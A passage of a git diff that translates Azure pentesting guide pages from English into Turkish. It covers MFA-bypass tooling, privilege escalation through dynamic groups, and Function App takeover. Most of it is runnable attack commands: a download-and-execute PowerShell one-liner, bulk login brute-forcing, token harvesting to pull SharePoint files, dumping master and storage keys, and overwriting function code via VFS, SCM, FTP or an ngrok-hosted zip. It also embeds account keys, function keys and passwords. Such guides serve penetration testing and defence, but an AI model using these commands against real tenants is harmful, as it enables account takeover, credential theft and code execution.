bazı protokoller tek faktörlü kalabilir. Ayrıca ADFS yapılandırmaları için ek bir kontrol içerir ve tespit edilirse yerel ADFS sunucusuna giriş yapmayı deneyebilir. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` - ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded. +Bu araç, MFA atlatmalarını tanımlamaya ve ardından birden fazla üretim AAD kiracısında API'leri kötüye kullanmaya yardımcı olmuştur; burada AAD müşterileri MFA'nın zorunlu olduğunu düşünüyordu, ancak ROPC tabanlı kimlik doğrulama başarılı oldu. > [!TIP] -> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force. - +> Brute-force yapmak için uygulamaların listesini oluşturabilmek için tüm uygulamaları listeleme izinlerinizin olması gerekir. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json ./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv ./ropci auth bulk -i apps.csv -o results.json ``` - ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc.. +Donkey token, Conditional Access Policies'ı doğrulamak, 2FA etkinleştirilmiş Microsoft portalları için testler yapmak gibi ihtiyaçları olan güvenlik danışmanlarına yardımcı olmayı amaçlayan bir dizi işlevdir.
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Test each portal** if it's possible to **login without MFA**: - +**Her portali test edin** eğer **MFA olmadan giriş yapmak mümkünse**: ```powershell $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` - -Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested: - +Çünkü **Azure** **portalı** **kısıtlanmamıştır**, önceki yürütme tarafından tespit edilen herhangi bir hizmete erişmek için **portal uç noktasından bir token toplamak** mümkündür. Bu durumda Sharepoint tanımlandı ve ona erişmek için bir token talep edildi: ```powershell $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` - -Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token: - +Varsayalım ki token, Sites.Read.All (Sharepoint'tan) iznine sahiptir, MFA nedeniyle web üzerinden Sharepoint'e erişemeseniz bile, oluşturulan token ile dosyalara erişmek mümkündür: ```powershell $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` - -## References +## Referanslar - [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s) - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index 322d18348..daa0c9ba5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -1,29 +1,28 @@ -# Az - Dynamic Groups Privesc +# Az - Dinamik Gruplar Privesc {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**. +**Dinamik gruplar**, belirli bir **kural** setine sahip olan ve bu kurallara uyan tüm **kullanıcılar veya cihazlar** grubun içine eklenen gruplardır. Her seferinde bir kullanıcı veya cihazın **özelliği** **değiştiğinde**, dinamik kurallar **yeniden kontrol edilir**. Ve yeni bir **kural** **oluşturulduğunda** tüm cihazlar ve kullanıcılar **kontrol edilir**. -Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups. +Dinamik gruplara **Azure RBAC rolleri atanabilir**, ancak dinamik gruplara **AzureAD rolleri** eklemek **mümkün değildir**. -This feature requires Azure AD premium P1 license. +Bu özellik Azure AD premium P1 lisansı gerektirir. ## Privesc -Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes. +Varsayılan olarak, herhangi bir kullanıcının Azure AD'de misafir davet edebileceğini unutmayın, bu nedenle, bir dinamik grup **kuralı** kullanıcıların **özelliklerine** dayalı olarak **izinler** veriyorsa ve bu özellikler yeni bir **misafirde** **belirlenebiliyorsa**, bu özelliklere sahip bir **misafir oluşturmak** ve **yetki yükseltmek** mümkündür. Ayrıca, bir misafirin kendi profilini yönetmesi ve bu özellikleri değiştirmesi de mümkündür. -Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** +Dinamik üyeliğe izin veren grupları alın: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** -### Example +### Örnek -- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` -- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group - -For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ -Unfortunately the page doesn't allow to modify the attribute values so we need to use the API: +- **Kural örneği**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` +- **Kural açıklaması**: 'security' dizesine sahip bir ikincil e-posta adresine sahip herhangi bir Misafir kullanıcı gruba eklenecektir. +Misafir kullanıcı e-postası için daveti kabul edin ve **o kullanıcının** mevcut ayarlarını [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) adresinde kontrol edin.\ +Ne yazık ki, sayfa özellik değerlerini değiştirmeye izin vermiyor, bu nedenle API'yi kullanmamız gerekiyor: ```powershell # Login with the gust user az login --allow-no-subscriptions @@ -33,22 +32,17 @@ az ad signed-in-user show # Update otherMails az rest --method PATCH \ - --url "https://graph.microsoft.com/v1.0/users/" \ - --headers 'Content-Type=application/json' \ - --body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' +--url "https://graph.microsoft.com/v1.0/users/" \ +--headers 'Content-Type=application/json' \ +--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' # Verify the update az rest --method GET \ - --url "https://graph.microsoft.com/v1.0/users/" \ - --query "otherMails" +--url "https://graph.microsoft.com/v1.0/users/" \ +--query "otherMails" ``` - -## References +## Referanslar - [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index dd5b81f35..53ffadcb5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -Check the following page for more information: +Daha fazla bilgi için aşağıdaki sayfayı kontrol edin: {{#ref}} ../az-services/az-function-apps.md @@ -12,33 +12,30 @@ Check the following page for more information: ### Bucket Read/Write -With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**. +Fonksiyon verilerini depolayan Storage Account içindeki konteynerleri okuma izinleri ile **farklı konteynerler** (özel veya önceden tanımlanmış isimlerle) bulmak mümkündür; bu konteynerler **fonksiyon tarafından yürütülen kodu** içerebilir. -Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function. +Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda, eğer üzerinde yazma izinleriniz varsa, fonksiyonu herhangi bir kodu yürütmesi için ayarlayabilir ve fonksiyona bağlı yönetilen kimliklere ayrıcalıkları yükseltebilirsiniz. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`) -The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function. - -This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from +Fonksiyonun kodu genellikle bir dosya paylaşımında saklanır. Yeterli erişim ile kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkündür; bu da fonksiyona bağlı yönetilen kimliklere ayrıcalıkları yükseltmeyi sağlar. +Bu dağıtım yöntemi genellikle **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ve **`WEBSITE_CONTENTSHARE`** ayarlarını yapılandırır; bunları alabilirsiniz. ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -Those configs will contain the **Storage Account Key** that the Function can use to access the code. +Bu yapılandırmalar, Fonksiyonun koduna erişmek için kullanabileceği **Storage Account Key**'ni içerecektir. > [!CAUTION] -> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges. +> Dosya Paylaşımına bağlanmak ve **script'i değiştirmek** için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. -The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares: +Aşağıdaki örnek, dosya paylaşımına bağlanmak için macOS kullanmaktadır, ancak dosya paylaşımları hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol etmeniz önerilir: {{#ref}} ../az-services/az-file-shares.md {{#endref}} - ```bash # Username is the name of the storage account # Password is the Storage Account Key @@ -48,50 +45,46 @@ The following example uses macOS to connect to the file share, but it's recommen open "smb://.file.core.windows.net/" ``` - - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**. - -Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in: +Fonksiyon uygulamasının kullandığı Storage Account konteynerinin `function-releases` klasöründe **zip sürümlerini** bulmak da yaygındır. +Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` yapılandırmasını ayarlayacaktır: ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -This config will usually contain a **SAS URL to download** the code from the Storage Account. +Bu yapılandırma genellikle **Kodun indirilmesi için bir SAS URL'si** içerecektir. > [!CAUTION] -> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges. +> Zip içinde **kodun bulunduğu** blob konteynerine bağlanmak için yeterli izinle, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`. +Önceki durumda olduğu gibi, dağıtım Github Actions aracılığıyla yapıldığında, kodun zip'ini ve `WEBSITE_RUN_FROM_PACKAGE` ayarındaki zip için bir SAS URL'sini içeren **`github-actions-deploy`** klasörünü Depolama Hesabında bulmak mümkündür. -- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) - -With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function: +- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`) +Fonksiyon verilerini depolayan Depolama Hesabındaki konteynerleri okuma izinleri ile **`scm-releases`** konteynerini bulmak mümkündür. Orada, **Squashfs dosya sistemi dosya formatında** en son sürümü bulmak ve dolayısıyla fonksiyonun kodunu okumak mümkündür: ```bash # List containers inside the storage account of the function app az storage container list \ - --account-name \ - --output table +--account-name \ +--output table # List files inside one container az storage blob list \ - --account-name \ - --container-name \ - --output table +--account-name \ +--container-name \ +--output table # Download file az storage blob download \ - --account-name \ - --container-name scm-releases \ - --name scm-latest-.zip \ - --file /tmp/scm-latest-.zip +--account-name \ +--container-name scm-releases \ +--name scm-latest-.zip \ +--file /tmp/scm-latest-.zip ## Even if it looks like the file is a .zip, it's a Squashfs filesystem @@ -105,12 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` - -It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **``** in the JSON files you can find inside. +Ayrıca, **``** klasöründeki JSON dosyalarında bulunan **`azure-webjobs-secrets`** konteynerinde depolanan **master ve functions anahtarlarını** bulmak da mümkündür. > [!CAUTION] -> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges. - +> **Zip uzantılı bir dosyada** (aslında bir **`squashfs`** olan) kodu içeren blob konteynerine bağlanmak için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -119,36 +110,30 @@ mksquashfs /tmp/fs /tmp/scm-latest-.zip -b 131072 -noappend # Upload it to the blob storage az storage blob upload \ - --account-name \ - --container-name scm-releases \ - --name scm-latest-.zip \ - --file /tmp/scm-latest-.zip \ - --overwrite +--account-name \ +--container-name scm-releases \ +--name scm-latest-.zip \ +--file /tmp/scm-latest-.zip \ +--overwrite ``` - ### Microsoft.Web/sites/host/listkeys/action -This permission allows to list the function, master and system keys, but not the host one, of the specified function with: - +Bu izin, belirtilen fonksiyonun işlev, ana ve sistem anahtarlarını listelemeye izin verir, ancak anahtarını listelemez: ```bash az functionapp keys list --resource-group --name ``` - -With the master key it's also possible to to get the source code in a URL like: - +Master anahtarı ile, aşağıdaki gibi bir URL'de kaynak kodunu almak da mümkündür: ```bash # Get "script_href" from az rest --method GET \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" # Access curl "?code=" ## Python example: curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v ``` - -And to **change the code that is being executed** in the function with: - +Ve **fonksiyonda yürütülen kodu değiştirmek için**: ```bash # Set the code to set in the function in /tmp/function_app.py ## The following continues using the python example @@ -158,73 +143,57 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` - ### Microsoft.Web/sites/functions/listKeys/action -This permission allows to get the host key, of the specified function with: - +Bu izin, belirtilen işlevin anahtarını almak için kullanılır: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` - ### Microsoft.Web/sites/host/functionKeys/write -This permission allows to create/update a function key of the specified function with: - +Bu izin, belirtilen işlevin bir işlev anahtarını oluşturmasına/güncellemesine izin verir: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - ### Microsoft.Web/sites/host/masterKey/write -This permission allows to create/update a master key to the specified function with: - +Bu izin, belirtilen işlev için bir anahtar oluşturmayı/güncellemeyi sağlar: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - > [!CAUTION] -> Remember that with this key you can also access the source code and modify it as explained before! +> Bu anahtar ile daha önce açıklandığı gibi kaynak koduna erişebilir ve onu değiştirebileceğinizi unutmayın! ### Microsoft.Web/sites/host/systemKeys/write -This permission allows to create/update a system function key to the specified function with: - +Bu izin, belirtilen işlev için bir sistem işlev anahtarı oluşturmayı/güncellemeyi sağlar: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**. - +Bu izin, bir fonksiyonun ayarlarını almayı sağlar. Bu yapılandırmaların içinde, **FULL izinlerle fonksiyonun blob depolamasına erişmek için bir hesap anahtarı içeren** **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** varsayılan değerlerini bulmak mümkün olabilir. ```bash az functionapp config appsettings list --name --resource-group ``` - -Moreover, this permission also allows to get the **SCM username and password** (if enabled) with: - +Ayrıca, bu izin **SCM kullanıcı adı ve şifresini** (eğer etkinleştirilmişse) almak için de kullanılabilir: ```bash az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` - ### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write -These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. +Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeye ve **bu değerleri değiştirmeye** olanak tanır. Bu, bu ayarların, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için faydalıdır. -It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application: - -- Start by getting the current config +Bu nedenle, bir web uygulaması içinde çalıştırılacak yeni kodu içeren bir URL zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür: +- Mevcut yapılandırmayı alarak başlayın ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -- Create the code you want the function to run and host it publicly - +- Fonksiyonun çalıştırmasını istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın. ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -234,228 +203,189 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` +- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonunda **`WEBSITE_RUN_FROM_PACKAGE`**'i kodu içeren **zip**'in URL'sine işaret edecek şekilde ekleyin. -- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code. - -The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app. - +Aşağıda **kendi ayarlarımın bir örneği var, değerleri sizin için değiştirmeniz gerekecek**, sonunda `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin, uygulamayı burada barındırıyordum. ```bash # Modify the function az rest --method PUT \ - --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \ - --headers '{"Content-Type": "application/json"}' \ - --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' +--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \ +--headers '{"Content-Type": "application/json"}' \ +--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` - ### Microsoft.Web/sites/hostruntime/vfs/write -With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint): - +Bu izinle, **bir uygulamanın kodunu web konsolu aracılığıyla** (veya aşağıdaki API uç noktası aracılığıyla) değiştirmek mümkündür: ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ - --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ - --body @/tmp/body +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ +--headers '{"Content-Type": "application/json", "If-Match": "*"}' \ +--body @/tmp/body ``` - ### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) -This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**: - +Bu izin, temel olarak **temel kimlik doğrulama kimlik bilgilerini** içeren tüm yayın profillerini listelemeye olanak tanır: ```bash # Get creds az functionapp deployment list-publishing-profiles \ - --name \ - --resource-group \ - --output json +--name \ +--resource-group \ +--output json ``` - -Another option would be to set you own creds and use them using: - +Başka bir seçenek, kendi kimlik bilgilerinizi ayarlamak ve bunları kullanmaktır: ```bash az functionapp deployment user set \ - --user-name DeployUser123456 g \ - --password 'P@ssw0rd123!' +--user-name DeployUser123456 g \ +--password 'P@ssw0rd123!' ``` +- Eğer **REDACTED** kimlik bilgileri -- If **REDACTED** credentials - -If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` - +Bu kimlik bilgilerini **REDACTED** olarak görüyorsanız, bunun nedeni **SCM temel kimlik doğrulama seçeneğini etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ihtiyacınız var. ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - } +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} ``` - - **Method SCM** -Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables: - +Sonra, **bu temel kimlik bilgileri ile işlev uygulamanızın SCM URL'sine** erişebilir ve env değişkenlerinin değerlerini alabilirsiniz: ```bash # Get settings values curl -u ':' \ - https://.scm.azurewebsites.net/api/settings -v +https://.scm.azurewebsites.net/api/settings -v # Deploy code to the funciton zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ - https://.scm.azurewebsites.net/api/zipdeploy +https://.scm.azurewebsites.net/api/zipdeploy ``` +_Not edin ki **SCM kullanıcı adı** genellikle "$" karakteri ile başlar ve uygulamanın adı ile devam eder, yani: `$`._ -_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ +Web sayfasına `https://.scm.azurewebsites.net/BasicAuth` adresinden de erişebilirsiniz. -You can also access the web page from `https://.scm.azurewebsites.net/BasicAuth` +Ayar değerleri, fonksiyon uygulamasının verilerini depolayan depolama hesabının **AccountKey**'sini içerir ve bu depolama hesabını kontrol etmenizi sağlar. -The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account. - -- **Method FTP** - -Connect to the FTP server using: +- **Yöntem FTP** +FTP sunucusuna bağlanmak için: ```bash # macOS install lftp brew install lftp # Connect using lftp lftp -u '','' \ - ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/ +ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/ # Some commands ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` - -_Note that the **FTP username** is usually in the format \\\$\._ +_Not edin ki **FTP kullanıcı adı** genellikle \\\$\ formatındadır._ ### Microsoft.Web/sites/publish/Action -According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application: - +[**belgelere**](https://github.com/projectkudu/kudu/wiki/REST-API#command) göre, bu izin **SCM sunucusu içinde komutları çalıştırmaya** olanak tanır ve bu, uygulamanın kaynak kodunu değiştirmek için kullanılabilir: ```bash az rest --method POST \ - --resource "https://management.azure.com/" \ - --url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ - --body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug +--resource "https://management.azure.com/" \ +--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ +--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug ``` - ### Microsoft.Web/sites/hostruntime/vfs/read -This permission allows to **read the source code** of the app through the VFS: - +Bu izin, VFS aracılığıyla uygulamanın **kaynak kodunu okumaya** olanak tanır: ```bash az rest --url 